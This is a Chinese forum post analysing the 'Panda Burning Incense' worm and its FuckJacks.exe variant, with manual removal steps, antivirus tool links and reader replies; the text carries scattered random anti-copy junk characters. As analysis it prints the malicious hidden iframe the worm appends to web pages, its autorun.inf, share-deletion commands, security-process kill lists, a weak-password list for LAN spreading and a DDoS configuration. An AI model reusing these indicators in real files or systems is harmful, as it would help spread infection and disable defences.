熊猫烧香病毒专杀及手动修复方案

鱼宝宝

介绍一下熊猫烧香病毒、熊猫烧香病毒变种的查杀方法，及熊猫烧香病毒的手动清除方案。提供了病毒进程为spoclsv.exe和FuckJacks.exe变种的解决方案，和熊猫烧香病毒专杀工具。

在动手查杀熊猫烧香病毒之前，强烈建议先注意以下四点：

1.本文包含两种熊猫烧香病毒变种的描述，请注意查看病毒症状，根据实际情况选用不同的查杀方法。

2.对于被熊猫烧香病毒感染的.exe可执行文件，推荐先备份，再修复！

3.找回被熊猫烧香病毒删除的ghost(.gho)文件，详情请见文中！

4.对计算机了解不多的用户，请在专家指导下清除熊猫烧香病毒。

熊猫烧香病毒变种一：病毒进程为“spoclsv.exe”

这是“熊猫烧香”早期变种之一，特别之处是“杀死杀毒软件”，最恶劣之处在于感染全盘.exe文件和删除.gho文件（Ghost的镜像文件）。最有“灵感”的一招莫过于在所有htm/html/asp/php/jsp/aspx文件末尾添加一段代码来调用病毒。目前所有专杀工具及杀毒软件均不会修复此病毒行为。需要手动清除病毒添加的代码，且一定要清除。否则访问了有此代码的网页，又会感染。其他老一点的“熊猫烧香”spoclsv变种的病毒行为比此版本少。就不再单独列出。

病毒描述：

“武汉男生”，俗称“熊猫烧香”，这是一个感染型的蠕虫病毒，它能感染系统中exe，com，pif，src，html，asp等文件，它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件，（.gho为GHOST的备份文件），使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。

以下是熊猫烧香病毒详细行为和解决办法：

熊猫烧香病毒详细行为：

1.复制自身到系统目录下：

%System%\drivers\spoclsv.exe（“%System%”代表Windows所在目录，比如：C:\Windows）
% |8 N- e3 i9 z8 n不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。
) a& c$ J: _8 F; B' j
0 b& U) P+ Q& t- H: t2.创建启动项：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
　　"svcshare"="%System%\drivers\spoclsv.exe"

3.在各分区根目录生成病毒副本：　　X:\setup.exe
: i8 z0 H; |7 h$ J3 a　　X:\autorun.inf
autorun.inf内容：
! r4 h1 \+ y' b0 k9 C7 g[AutoRun]
& ^- ^2 D/ \/ }' s* |  L2 t　　OPEN=setup.exe
　　shellexecute=setup.exe
　　shell\Auto\command=setup.exe

; E7 M7 s$ H5 J# {- ^: i( K2 d4.使用net share命令关闭管理共享：
0 Z7 r5 b8 I8 }+ y- t0 }' v+ [cmd.exe /c net share X$ /del /y
　　cmd.exe /c net share admin$ /del /y
4 q7 N3 c& v- o* f/ K- H
5.修改“显示所有文件和文件夹”设置：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
　　"CheckedValue"=dword:00000000
- S. x6 o) Y+ A) \2 l: M- `: P$ g
6.熊猫烧香病毒尝试关闭安全软件相关窗口：
' z. @. d& o: T1 @" `" h天网
% Z( Y2 `: d( g$ Y) z防火墙进程
; {/ J* q& E* ^9 p0 I- DVirusScan
) d) h$ c, U$ \; Y8 INOD32
- A5 Q* @3 Y4 a8 g: f网镖杀毒毒霸瑞星江民黄山IE
  J. z  r' J/ E! _超级兔子优化大师木马清道夫木馬清道夫
/ \% U" S! K6 XQQ病毒注册表编辑器系统配置实用程序卡巴斯基反病毒
Symantec AntiVirus
Duba
) W' Q+ y4 A1 {1 U" u% uWindows 任务管理器
esteem procs
8 B, o, f! E9 k  n8 A# C& r, ^绿鹰PC
( s6 x9 F  ^3 Q3 }# z9 `6 B密码防盗噬菌体木马辅助查找器
System Safety Monitor
0 I  {0 X, U4 C# D2 NWrapped gift Killer
: s+ e2 e/ C2 A2 v7 y% @2 JWinsock Expert
' _6 B: k3 ?; s8 e* \游戏木马检测大师超级巡警
1 h8 k' d! {* E' h+ {8 wmsctls_statusbar32
  Y" S8 M! F3 i5 bpjf(ustc)
IceSword

( y. _. n; x% t/ u0 Q% i7.尝试结束安全软件相关进程以及Viking病毒（威金病毒）进程：
2 _. F( {! Y" E5 `) M, n7 |; E0 xMcshield.exe
) _5 _, J$ H4 \: [　　VsTskMgr.exe
) q4 \7 s: H- K/ Z　　naPrdMgr.exe
　　UpdaterUI.exe
　　TBMon.exe
　　scan32.exe
5 X$ c, Z) ~/ S6 l' ^　　Ravmond.exe
3 J5 ~5 z# E  K! F( M% [　　CCenter.exe
　　RavTask.exe
　　Rav.exe
　　Ravmon.exe
　　RavmonD.exe
' t  c0 d2 F; R. T1 a% X　　RavStub.exe
　　KVXP.kxp
4 ^6 P* t3 f* g4 r0 _- w8 H; n" t　　KvMonXP.kxp
　　KVCenter.kxp
0 z4 x0 X/ v9 x8 b　　KVSrvXP.exe
　　KRegEx.exe
　　UIHost.exe
　　TrojDie.kxp
　　FrogAgent.exe
　　Logo1_.exe
# N% _* t0 H9 Z　　Logo_1.exe
　　Rundl132.exe

8.禁用安全软件相关服务：
& x/ F6 R3 v$ v7 A1 v; w9 ~5 qSchedule
　　sharedaccess
　　RsCCenter
　　RsRavMon
& A- N5 Z: h1 E  l7 y　　KVWSC
: @9 O: V3 @' C) O　　KVSrvXP
6 [! }  v/ C+ S( H, {7 [( R! A7 a　　kavsvc
　　AVP
　　McAfeeFramework
　　McShield
& Y. M# r8 q* Q, ]  v" ]　　McTaskManager
　　navapsvc
' Y  o1 Y3 t2 @9 ^( [9 r5 `8 u# ?　　wscsvc
4 ?2 j1 u& |$ l, Y% V　　KPfwSvc
　　SNDSrvc
! g- C" d$ ?/ H7 E1 L+ Q　　ccProxy
　　ccEvtMgr
　　ccSetMgr
: x/ Y, n5 M0 w7 ?/ Y. s# `　　SPBBCSvc
* k1 M' _$ Q/ Z4 f$ I& m$ z　　Symantec Core LC
　　NPFMntor
　　MskService
　　FireSvc
  r# C9 C+ W# H4 Y" u
+ J: Q4 Q5 J! i' [9.删除安全软件相关启动项：
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask
. [3 a% h* N$ I2 h; i& T! U　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP
9 o! v0 C2 z$ d2 F. x) S　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav
" D; E$ A  K/ T9 O4 Y9 ?( m( L% w　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50
, z; M- A( o# d( K/ w  Z6 C　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error           
Reporting Service
( ?+ T5 V& D# f# P% B& [3 K　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse
& H7 R8 k. w! x$ E10.遍历目录修改htm/html/asp/php/jsp/aspx等网页文件，在这些文件尾部追加信息：
% J7 g" i" I; G- Z+ s4 D' A4 i<iframe src="hxxp://www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>
但不修改以下目录中的网页文件：
C:\WINDOWS
　　C:\WINNT
　　C:\system32
　　C:\Documents and Settings
4 C) O4 n( w9 i　　C:\System Volume Information
　　C:\Recycled
: d. L0 q# J5 u" `4 x" v. B　　Program Files\Windows NT
　　Program Files\WindowsUpdate
　　Program Files\Windows Media Player
　　Program Files\Outlook Express
　　Program Files\Internet Explorer
5 K, W( A* O7 l5 o　　Program Files\NetMeeting
　　Program Files\Common Files
　　Program Files\ComPlus Applications
9 [( a! s: t: A: ]6 w* z: Y5 N　　Program Files\Messenger
　　Program Files\InstallShield Installation Information
3 c7 K, q' C$ |$ ~# Q! E" Z% K　　Program Files\MSN
; C5 j) D) L" x. y8 ?　　Program Files\Microsoft Frontpage
　　Program Files\Movie Maker
　　Program Files\MSN Gamin Zone
9 X% W! A* d; \; V6 _4 H) H11.在访问过的目录下生成Desktop_.ini文件，内容为当前日期。
12.此外，病毒还会尝试删除GHO文件。
病毒还尝试使用弱密码将副本以GameSetup.exe的文件名复制到局域网内其它计算机中：　　password
) b& `% i. H# u  s3 ^0 }! O　　harley
　　golf
　　pussy
0 X9 r* B) w2 e2 _% ~　　mustang
6 `5 t/ v% O2 }5 Z1 Q7 P　　shadow
  _+ _" G( u- P7 f　　fish
9 T4 y1 M" w2 i  Q4 J　　qwerty
　　baseball
　　letmein
9 D+ h* J/ V9 {) ^; ]: T2 [　　ccc
　　admin
+ o; a! ~, ]# G) Y; L* V5 ?& G　　abc
; t$ o3 _) o) [. E& b　　pass
! L1 u+ y# K2 }* h  f$ ?　　passwd
　　database
/ D2 E( F* ]1 \' y2 L# i- e4 }　　abcd
　　abc123
4 [) ^9 n4 y  N- P, ^3 }! m$ ~5 A0 g- _　　sybase
+ ^2 M6 m: z' f7 n' m. _　　123qwe
1 B* K; [- h$ a$ n& s5 W% K　　server
　　computer
　　super
0 k1 ]& ?8 G& y3 k3 P　　123asd
1 O/ V3 d$ k0 _1 E2 a. z4 g! t　　ihavenopass
　　godblessyou
　　enable
2 k0 R. j7 x4 ^! N, {　　alpha
　　1234qwer
　　123abc
3 h# x5 o' L6 O" P: B6 \　　aaa
　　patrick
　　pat
　　administrator
* u: h2 E  g2 r; q/ D　　root
4 `2 g3 \+ W' a* I　　sex
! p8 }" m  {% o7 e　　god
: K2 \' Q9 \  a, m8 x　　fuckyou
　　fuck
　　test
　　test123
# ~, j) f7 e0 v4 Q　　temp
　　temp123
　　win
　　asdf
　　pwd
　　qwer
% }/ z  v" H; K$ {  v. a5 ~　　yxcv
　　zxcv
3 A9 k) ^% }  X0 r$ a, T5 j　　home
, u  Q% Z4 t# S4 i* s- f& p$ t　　xxx
$ X& h8 R& G0 f4 h* W' w　　owner
9 E% e( `- v4 e  v9 u　　login
5 f+ C! p; J' i) l　　Login
) M% u1 a- U. E9 C( H. b; m8 i　　love
8 e* F4 Q( S- i, n2 z( t　　mypc
　　mypc123
　　admin123
　　mypass
+ P* R4 m4 @  @2 Z3 Z　　mypass123
7 [' A8 k& f" K　　Administrator
　　Guest
+ m5 n) s2 A' v( ?) E8 N　　admin
　　Root

病毒文件内含有这些信息：
7 T* R6 X. c  A/ h' y$ q/ D
whboy
9 Q# z' S; c2 Y3 r1 f4 t　　***武*汉*男*生*感*染*下*载*者***
& s7 ]5 t( ]6 g5 e% k5 G3 p+ |解决方案：

1 z) J9 M# h/ z+ n1. 结束病毒进程：
%System%\drivers\spoclsv.exe
4 U" Y' M$ r& H) r$ C1 z  @9 K( i不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。但可用此方法清除。
  l; |6 Y! T( L0 F“%System%\system32\spoclsv.exe”是系统文件。（目前看来没有出现插入该系统进程的变种，不排除变种的手法变化。）
3 v" K  i9 F1 Z查看当前运行spoclsv.exe的路径，可使用超级兔子魔法设置。
6 v0 y( p/ k+ |* b9 y
3 Y* `8 P# o) E: [2. 删除病毒文件：
5 `) G( m; k& c# j3 S  D%System%\drivers\spoclsv.exe
% \& ~; _+ p8 m+ l4 x7 g请注意区分病毒和系统文件。详见步骤1。
, I  x" s1 }- ~" P1 |5 V- e
3. 删除病毒启动项：
( l$ W; Q; P, Q/ p. V! E2 c, {[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
. O, s! A( p2 ^- S4 Q　　"svcshare"="%System%\drivers\spoclsv.exe"
+ `: `0 f0 Y  F4 \) ]
4. 通过分区盘符右键菜单中的“打开”进入分区根目录，删除根目录下的病毒文件：
1 r7 d; ~7 ~" e& z# [X:\setup.exe
5 a$ B; h2 ^- \* k　　X:\autorun.inf

/ Q( b/ x' g7 Z3 x" y, ]5. 恢复被修改的“显示所有文件和文件夹”设置：
: b$ K! B! P/ @# }[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
' h: @& ?3 _" f+ q4 n8 i9 X: B, J- t　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
0 Q) J& J4 A& |+ d; m　　"CheckedValue"=dword:00000001

, h, h* T# W. r/ L0 {1 C6. 修复或重新安装被破坏的安全软件。
' V" @& r3 f2 D( E
7 P# a$ ^- c9 c9 @+ t7 X% o7.修复被感染的程序。可用专杀工具进行修复，收集了四个供读者使用。
+ Z# d9 j  z8 {+ }) U! v& G金山熊猫烧香病毒专杀工具
http://down.www.kingsoft.com/db/download/othertools/DuBaTool_WhBoy.BAT
安天熊猫烧香病毒专杀工具
9 s3 Z. I) T) Qhttp://www.antiy.com/download/KillPP.scr
江民熊猫烧香病毒专杀工具
. \+ ]5 X& z& W# D6 ]( w# uhttp://ec.jiangmin.com/test/PandaKiller.rar
瑞星熊猫烧香病毒专杀工具
http://download.rising.com.cn/zsgj/NimayaKiller.scr
2 m* Z! a4 a6 n8 C。也可用手动方法（见本文末）。
1 i6 `- G9 y6 v$ g
" b6 V" k$ d% J+ k4 D8. 恢复被修改的网页文件，可以使用某些编辑网页的工具替换被添加文字为空。机器上有htm/html/asp/php/jsp/aspx等网页文件，一定要删除此段代码。有危险代码的网页一但发布到网页可能会感染其他用户。

熊猫烧香病毒变种二：病毒进程为“FuckJacks.exe”

以下是数据安全实验室提供的信息与方法。
病毒描述：
. m# B" A" ]7 ^- x含有病毒体的文件被运行后，病毒将自身拷贝至系统目录，同时修改注册表将自身设置为开机启动项，并遍历各个驱动器，将自身写入磁盘根目录下，增加一个Autorun.inf文件，使得用户打开该盘时激活病毒体。随后病毒体开一个线程进行本地文件感染，同时开另外一个线程连接某网站下载ddos程序进行发动恶意攻击。
+ J9 `; x, t, I# {) y
9 g8 d8 v  e7 F# ]& y6 ~& x7 K& ]病毒基本情况：
& x9 p; F1 s. H5 R0 j0 Q
[文件信息]

3 _. Z# S3 E; g' f8 D病毒名: Virus.Win32.EvilPanda.a.ex$
2 _7 D% T/ F$ n! i1 x3 O　　大小: 0xDA00 (55808), (disk) 0xDA00 (55808)
　　SHA1  : F0C3DA82E1620701AD2F0C8B531EEBEA0E8AF69D
　　壳信息: 未知　　危害级别：高

病毒名: Flooder.Win32.FloodBots.a.ex$
　　大  小: 0xE800 (59392), (disk) 0xE800 (59392)
1 p0 A5 a* e/ j, H  C　　SHA1  : B71A7EF22A36DBE27E3830888DAFC3B2A7D5DA0D
9 c. Z; H4 w$ x2 I+ K　　壳信息: UPX 0.89.6 - 1.02 / 1.05 - 1.24
　　危害级别：高

病毒行为：
/ L% Z! T# t! w4 c: a
Virus.Win32.EvilPanda.a.ex$ ：

1、病毒体执行后，将自身拷贝到系统目录：
- u' E7 b9 _! I' i0 w$ _%SystemRoot%\system32\FuckJacks.exe
3 F) v! y7 ^" w7 P, y

8 q* z0 ~7 C, {  J　　2、添加注册表启动项目确保自身在系统重启动后被加载：
键路径：HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
2 z4 O  Y1 L6 B　　键名：FuckJacks
  ?( @8 q$ Z, ~! C　　键值："C:WINDOWS\system32\FuckJacks.exe"

键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
3 H$ y  g  m* C$ Z  _, w　　键名：svohost
1 k: {9 e) U% ~" H/ z, e. F　　键值："C:WINDOWS\system32\FuckJacks.exe"
8 J6 \* F) _0 o  m  R* E8 R, I
3、拷贝自身到所有驱动器根目录，命名为Setup.exe，并生成一个autorun.inf使得用户打开该盘运行病毒，并将这两个文件属性设置为隐藏、只读、系统。
C:autorun.inf    1KB    RHS
/ ^! K. j. o, }5 E' B　　C:setup.exe    230KB    RHS

- }* F) W0 D4 v5 V9 b4、关闭众多杀毒软件和安全工具。
  h( @3 L! y) M8 E5 O+ R0 g  K" k
6 A- j% Q8 }- z, X0 c5、连接*****.3322.org下载某文件，并根据该文件记录的地址，去www.****.com下载某ddos程序，下载成功后执行该程序。

- N8 _9 j/ O6 b& P1 l& q6、刷新bbs.qq.com，某QQ秀链接。

7、循环遍历磁盘目录，感染文件，对关键系统文件跳过，不感染Windows媒体播放器、MSN、IE 等程序。
6 e# B$ M! z- D
9 \/ [6 j5 E3 @( z5 c  j) @Flooder.Win32.FloodBots.a.ex$ ：
/ V3 {- C( h1 q: ?4 Z, P: Q7 n1 j0 `
1、病毒体执行后，将自身拷贝到系统目录：
%SystemRoot%\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）　　%SystemRoot%\system32\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）
  v2 B! F+ L$ e. A+ x" K0 C
2、该病毒后下载运行后，添加注册表启动项目确保自身在系统重启动后被加载：
键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　　键名：Userinit
5 s3 J# j. Y* T/ F　　键值："C:WINDOWS\system32\SVCH0ST.exe"

, d, x4 H4 B) d1 j# s3、连接ddos2.****.com，获取攻击地址列表和攻击配置，并根据配置文件，进行相应的攻击。
' f. I5 g8 U( z9 u. m配置文件如下：
www。victim.net:3389
2 X# c; s+ S; W  |  Z　　www。victim.net:80
5 W( W+ e/ o" I9 ^　　www。victim.com:80
' w1 C4 G4 H9 l2 i  O5 d! y' Z　　www。victim.net:80
* F( y* W1 s0 j, z0 ?7 z! q% a　　1
　　1
- U' ~  z, ]( ?, u! m* E7 v3 v　　120
) v& F1 e$ S4 a. Y' \5 E% z　　50000

解决方案：

1. 断开网络

2. 结束病毒进程：%System%\FuckJacks.exe
' C8 r" O$ i3 v# H1 l& J
3. 删除病毒文件：%System%\FuckJacks.exe

" X, w0 g3 t% L) f1 o% o4. 右键点击分区盘符，点击右键菜单中的“打开”进入分区根目录，删除根目录下的文件：X:\autorun.inf
- |! A+ h0 u, J2 [! q. q  N  g　　X:\setup.exe

% G6 t# X- D4 @$ D- D. W6 \5. 删除病毒创建的启动项：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
% l5 C- P( E2 k　　"FuckJacks"="%System%\FuckJacks.exe"
9 S8 H  m$ B% P6 C+ V$ f! N5 }. S[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
- v8 m! {$ i& Z9 v' N2 M　　"svohost"="%System%\FuckJacks.exe"

6. 修复或重新安装反病毒软件
# ?* S: F' \, A) |" Q* ?6 R# v
7. 使用反病毒软件或专杀工具进行全盘扫描，清除恢复被感染的exe文件。也可用以下的手动方法恢复文件。
! ?! T6 Q- M9 N
手动恢复中毒文件（在虚拟机上通过测试，供参考）
/ q+ d0 L  Y( H0 n2 ?7 }; m
0 A; G' F, V- [4 w% e1.在清除病毒文件的同时不删除%SYSTEM%下面释放FuckJacks.exe的这个文件，即执行之前的步骤1、2、4、5。

2.打开“运行”输入“gpedit.msc”打开组策略－本地计算机策略－windows设置－安全设置－软件限制策略－其它规则。在其它规则上右键选择－新散列规则－打开新散列规则窗口
! n$ `5 j, \1 O
3.在文件散列上点击浏览找到%SYSTEM%下面释放FuckJacks.exe文件。安全级别选择－不允许的。确定后重启。
! J6 B  a4 [2 ]# e, z. [$ j7 }$ ~0 W
4.重启后可以双击运行已经被熊猫感染的程序。运行程序后该FuckJacks.exe文件会在注册表里的Run键下建立启动项（不会有问题的）。
" q3 c7 B$ k* [! d: b
5.双击运行被感染的程序已经恢复原来样子了。全部回复后，用SREng把FuckJacks.exe在注册表里的启动项删除即可！

幻镜

其实还有一个很简单的方法可以将伤害降到最小。

就是将那个GHOST备份文件不要设置为后缀GHO
: S2 s% w) h6 k1 ^
你换一个后缀不就没事了吗？
/ ~; J1 [/ _5 P& D" q恢复时后缀只是起显示作用
只要你选准正确文件就照样恢复

rulingdanny

很讨厌的病毒 最近中找了 真是对卡巴斯基越来越没有信息了 防御能力＝0

Sonic鼠

妈的我也中招了！！！
存的片子和游戏全没了！！气死我了！！！
这病毒出现后没想到是金山反应最快~
瑞星都没招真没用~~~哎…………火大啊……

bmx极限运动

谢谢楼主的分享！！

kk11qq

谢谢楼主的分享！！

kk11qq

谢谢楼主的分享！！